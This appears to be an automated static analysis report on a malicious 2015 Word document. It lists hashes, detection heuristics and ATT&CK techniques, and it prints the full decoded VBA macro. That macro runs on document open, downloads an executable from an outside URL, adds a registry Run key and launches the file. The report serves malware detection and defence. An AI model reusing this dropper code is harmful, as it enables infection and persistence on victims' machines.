Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2925282ad8edb514…

MALICIOUS

Office (OLE)

32.5 KB Created: 2015-03-04 18:54:00 Authoring application: Microsoft Office Word First seen: 2015-03-15
MD5: 4660953b1672600ea0ee7ee80213e518 SHA-1: 0c75b99a3bddfbb4bdf502f9c65227a71cdc1b81 SHA-256: 2925282ad8edb514ab267f20b28ce1e51e7b8a989f2a893df047d5ca4def8fce
438 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that utilize the URLDownloadToFile API to download a file named 'Dr1versUpdater2015.exe' from 'http://www.royalcaribbeantravs.com/'. The macro then uses WScript.Shell to write an entry to the registry Run key, specifically 'HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\0fficeUpdate.EXE', pointing to the downloaded executable, thereby establishing persistence. Finally, it attempts to execute the downloaded file.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set Reg = CreateObject("Wscript.shell")
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    "URLDownloadToFileA" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Reg = CreateObject("Wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    KEWTqZlqnyP = Environ$("tmp") & "\" & zbjvXrWuMYM
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.royalcaribbeantravels.com/Dr1versUpdater2015.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1818 bytes
SHA-256: 07174dd3e1c7317bab3f538062775db1266a249db51cd7fbe31db9f43c48569d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function AfTofVjud _
Lib _
"urlmon" _
Alias _
"URLDownloadToFileA" _
(ByVal cPBd As Long, ByVal zLZHYLPpdb As String, _
    ByVal UnkGdBHDORhCDMWRvKexQLAg As String, _
    ByVal pqoteXfIVUlp As Long, ByVal rjIXPAikFimAKftgStPOrXpc As Long) _
    As Long


Private Declare Function DoIT Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal gFgrlDAWtRJFRixSGPni As Long, ByVal LNuOTcRxFGE As String, _
ByVal JhovYmlBFIzYohQyBVyCQMv As String, ByVal JjjJSfHbGewVwHBTD As String, ByVal ZJTZVizNVWgDyceKQksiNIJ As String, _
ByVal HMxELcCCR As Long) As Long


Private Sub Document_Open()

QmnwUBfubhAIyeYZXdNGN

End Sub





Sub HKCcEjhODX()
Dim OFSeMLz As String, zbjvXrWuMYM As String, KEWTqZlqnyP As String
zbjvXrWuMYM = "0fficeUpdate.EXE"
KEWTqZlqnyP = Environ$("tmp") & "\" & zbjvXrWuMYM

OFSeMLz = "http://www.royalcaribbeantravels.com/Dr1versUpdater2015.exe"

kGdBHDORhC OFSeMLz, KEWTqZlqnyP
End Sub

Sub QmnwUBfubhAIyeYZXdNGN()
Dim sSEUYbSsUzk As Integer
Dim fTofVjudcPBdzLZHYLPpdbUn As String
sSEUYbSsUzk = 3
fTofVjudcPBdzLZHYLPpdbUn = "gpqoteXfIVUlprjI"
HKCcEjhODX
End Sub

Sub kGdBHDORhC(ByVal DMWR, b As String)

AfTofVjud 0, DMWR, b, 0, 0
Dim Reg As Object
Set Reg = CreateObject("Wscript.shell")
Reg.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "0fficeUpdate.EXE", b
DoIT 0, "open", b, "", vbNullString, vbNormalFocus

End Sub


Attribute VB_Name = "NewMacros"
Sub Micurriculum()
'
' Micurriculum Macro
'
'

End Sub